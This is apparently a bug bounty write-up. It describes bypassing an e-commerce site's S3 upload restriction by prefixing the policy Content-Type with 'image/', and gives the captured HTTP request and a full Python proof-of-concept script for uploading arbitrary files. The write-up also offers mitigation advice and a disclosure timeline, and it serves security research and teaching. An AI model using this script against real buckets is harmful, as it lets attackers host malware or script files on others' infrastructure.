File Upload Restrictions Bypass in S3 Bucket

SAEED
6 min readFeb 19, 2025

--

The target is like a multi-vendor e-commerce website where, there are 2 types of users. Buyers and Sellers. Sellers can setup their profile/shop and add different products and when they add products they have to add product name, description, location, pictures etc. etc.

I have found this bug in the product picture upload section.

Since the bug has not been fixed yet. I’ll call the Bug Bounty Program target.com.

Recon

Like a normal user I signed up in that platform and started poking around all functionalities alongside capturing all the requests in BurpSuite.

When I came across the file upload functionality, I noticed the application allows only jpg and png files to be uploaded. Whenever I come across restrictions like these. I instantly mark them down as my testing ground. And now I have found my first testing ground. Since I believe, if there is a restriction, there should be a bypass too.

So, I uploaded a few more pictures and started going through the Burp history and I saw this request:

Image is being uploaded in the S3 bucket

As you can see the file is being uploaded in the s3 bucket, target-media.s3.amazonaws.com.

Then I sent the request to Repeater.

Exploitation

On closer look in the request body, I noticed there are two Content-Type s.

Two Content-Types

I decided to check if the file type is being properly validated or not. And I removed the image body and changed both the content types to text/plain.

Basically, I was trying to check how the files are being validated, based on file extensions or based on Content-Types or any other method.

In the request below you can see I have only changed the content types not the file extension.

Image Upload Rule

After sending the request, we got the 403 Forbidden status code. with a message Invalid according to Policy: Policy Condition failed: ["starts-with","$Content-Type","image/"].

So, the content type should start with image/. But which one?

I poked around a little and and realized, The first Content-Type is the rule set in the S3 bucket which says content type should start with image/, and the 2nd Content-Type is the actual content type of the file that we are trying to upload.

Then I added the image/ in the first content type and I got this response:

File Uploaded Successfully

The file got uploaded!!

And when I accessed the given link inside the <Location> tag in my browser, the text file got downloaded.

Key findings:

  1. The file extension doesn’t really matter, the file extension is only being checked in the client side when we are adding the image.
  2. The validation is being done based on the rule, if the content type starts with image/ or not.

Now it’s confirmed that we can upload text files, But I wasn’t done. I wanted to make sure I can upload any type of file I want.

Proof of Concept

writing a script to upload any type of file we want.

So, The Request body looks like this:

POST / HTTP/1.1
Host: target-media.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Content-Type: multipart/form-data; boundary=---------------------------26762892231597285403112451395
Connection: keep-alive


-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="key"
prd/listing/temp/3b5a8800cab74a8cb7d79e84bbac2c9b
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="success_action_status"
201
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="acl"
public-read
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-meta-original-filename"
${filename}
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-meta-user"
15917208
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="policy"
REDACTED
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-credential"
REDACTED
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-algorithm"
AWS4-HMAC-SHA256
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-date"
20250116T143817Z
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="x-amz-signature"
REDACTED
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="Content-Type"
image/jpeg
-----------------------------26762892231597285403112451395
Content-Disposition: form-data; name="file"; filename="TEST.jpg"
Content-Type: image/jpeg

IMAGE CONTENT
-----------------------------26762892231597285403112451395--

The files are being uploaded using a form. The important Key-Value pairs in this form are:

key  
success_action_status
acl
x-amz-meta-original-filename
x-amz-meta-user
policy
x-amz-credential
x-amz-algorithm
x-amz-date
x-amz-signature

These credentials are being generated dynamically and are valid for a specific timeframe. These values are important and will be required in the POC script.

Then I wrote this python script:

import argparse
import requests
import mimetypes
import os
import sys
import json

def parse_form_data(file_path):
if not os.path.exists(file_path):
print(f"Error: Form data file '{file_path}' does not exist.")
sys.exit(1)

with open(file_path, "r") as f:
form_data = f.read()

form_data = "\n".join([line for line in form_data.splitlines() if line.strip()])

if not form_data:
print(f"Error: Form data file '{file_path}' contains no valid data.")
sys.exit(1)

metadata = {}
boundary = form_data.splitlines()[0]

if not boundary:
print(f"Error: Boundary in form data is empty.")
sys.exit(1)

for line in form_data.split(boundary):
if "Content-Disposition" in line:
key_line = [l for l in line.splitlines() if l.startswith("Content-Disposition")][0]
key = key_line.split('name="')[1].split('"')[0]
value = line.splitlines()[-1].strip()
metadata[key] = value
return metadata

def upload_file(file_path, metadata):
url = "https://target-media.s3.amazonaws.com/"

if not os.path.exists(file_path):
print(f"Error: File '{file_path}' does not exist.")
sys.exit(1)

guessed_content_type = mimetypes.guess_type(file_path)[0] or "application/octet-stream"

content_type = metadata.get("Content-Type", "")

if content_type.startswith("image/"):
if guessed_content_type.startswith("image/"):
metadata["Content-Type"] = guessed_content_type # Update with the actual image type
else:
metadata["Content-Type"] = "image/" + guessed_content_type.split("/")[1]
elif content_type == "":
if guessed_content_type.startswith("image/"):
metadata["Content-Type"] = guessed_content_type
else:
metadata["Content-Type"] = "image/" + guessed_content_type.split("/")[1]

with open(file_path, "rb") as f:
files = {
"file": (os.path.basename(file_path), f, guessed_content_type),
}
response = requests.post(url, data=metadata, files=files)

# response
if response.status_code == 201:
print("File uploaded successfully.")
# print the location after uploading
location = response.text.split("<Location>")[1].split("</Location>")[0]
print(f"File Location: {location}")
else:
print(f"Error uploading file: {response.status_code}\n{response.text}")

def main():
parser = argparse.ArgumentParser(description="Extract form data and upload a file.")
parser.add_argument("-form-data", required=True, help="Path to important key-value pair file.")
parser.add_argument("-file", required=True, help="Path to the file to upload.")
args = parser.parse_args()

metadata = parse_form_data(args.form_data)
#print("Metadata in JSON format:")
#print(json.dumps(metadata, indent=4))

# Upload file
upload_file(args.file, metadata)

if __name__ == "__main__":
main()

Simply put, it has two flags -form-data and -file .

-form-data: Takes a file which contains the important key-value pairs.

We can just copy the form data (key-value pairs) from burpsuite and save in a text file.

-file: Takes the file we are trying to upload.

The script parses the form data and extracts the important key-value pairs and also makes sure the first Content-Type starts with image/and append it with the actual content type of the file we are trying to upload.

For example:

If we want to upload an .exe file, the first content type will be image/application/octet-stream and the second content type will be application/octet-stream.

And after the file is uploaded, it shows the URL. On accessing the URL either the file is rendered (if HTML, JS, SVG etc. files) or downloaded (mp4, exe, txt etc. files).

USAGE
Uploaded

Impact

what an attacker can do if they choose to exploit it.

  • Malicious files (e.g., scripts, executables) could be hosted in the bucket.
  • The S3 Bucket can be used as a Personal Storage. Which can increase the cost.

Mitigations

How to fix the issue?

Strict sever side validation must be done, so that the system rejects any file which is not an actual image file.

References

Reporting Timeline:

  • Detected on: 15/01/2025
  • Reported on: 16/01/2025
  • Marked as Duplicate: 18/01/2025

Duplicate: Bug is valid, but someone has already reported it before me.

response from the security team

Thank you for reading! Feel free to share your thoughts or questions in the comments.

Reach me on 📡:

--

--

SAEED
SAEED

Written by SAEED

Application Security Researcher | Developer

No responses yet